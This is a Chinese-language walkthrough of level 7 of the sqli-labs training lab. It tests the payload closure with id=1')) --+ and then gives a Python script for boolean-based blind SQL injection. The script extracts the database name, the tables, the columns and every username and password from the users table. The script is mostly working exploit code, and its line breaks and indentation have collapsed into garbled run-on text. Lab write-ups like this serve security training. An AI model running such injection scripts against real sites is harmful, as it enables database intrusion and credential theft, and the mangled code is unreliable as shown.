7、第七关

id=1' --+单引号报错,id=1" --+双引号不报错,可以判断是单引号闭合

id=1') --+也报错，尝试两个括号闭合，id=1')) --+不报错

接下来用脚本爆库

import stringimport requestsnumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0]
letters2 = list(string.ascii_lowercase)
fuhao = ['~', "@", "$", "^", "*", "(", ")", "-", "_", ",", ".", "/", "{", "}", "[", "]", ":", ";", "|"]if __name__ == '__main__':test = Falseurl = "http://sqli.labs/Less-7/?id=1%27))%20"if test:print("test")res = requests.get(url + "and%20length(database())>10%20--+")content_length = len(res.text)print(content_length)else:content_len = 691list1 = numbers + letters2 + fuhaoprint(len(list1))len1 = 20# 获取数据库名长度db_length = 0for i in range(50):url_db = url + f"and%20length(database())={i}%20--+"res = requests.get(url_db)if "You are in.... Use outfile......" in res.text:db_length = ibreakprint(f"数据库名长度:{db_length}")# 获取数据库名database = ""for p in range(db_length + 1):for a in list1:url_db = url + f"and%20substr(database(),{p},1)=%22{a}%22%20--+"res = requests.get(url_db)if "You are in.... Use outfile......" in res.text:database = f"{database}{a}"print(a, end='')print(f",数据库:{database}")# 获取所有表名num = 0tables = ""for p in range(1000):if num > len(list1)*2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='{database}'),{p},1)=\"{a}\"%20--+"res = requests.get(url_db)num += 1if "You are in.... Use outfile......" in res.text:tables = f"{tables}{a}"print(a, end='')num = 0print(f",所有表名:{tables}")# 获取users表所有字段columns = ""num = 0for p in range(1000):if num > len(list1)*2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{p},1)=\"{a}\"%20--+"res = requests.get(url_db)num += 1if "You are in.... Use outfile......" in res.text:columns = f"{columns}{a}"print(a, end='')num = 0print(f",所有字段名:{columns}")# 获取所有账号users = ""num = 0for p in range(1000):if num > len(list1)*2:breakfor a in list1:url_db = url + f"and%20substr((select group_concat(username,':',password) from users),{p},1)=\"{a}\"%20--+"res = requests.get(url_db)num += 1if "You are in.... Use outfile......" in res.text:users = f"{users}{a}"print(a, end='')num = 0print(f",所有用户密码:{users}")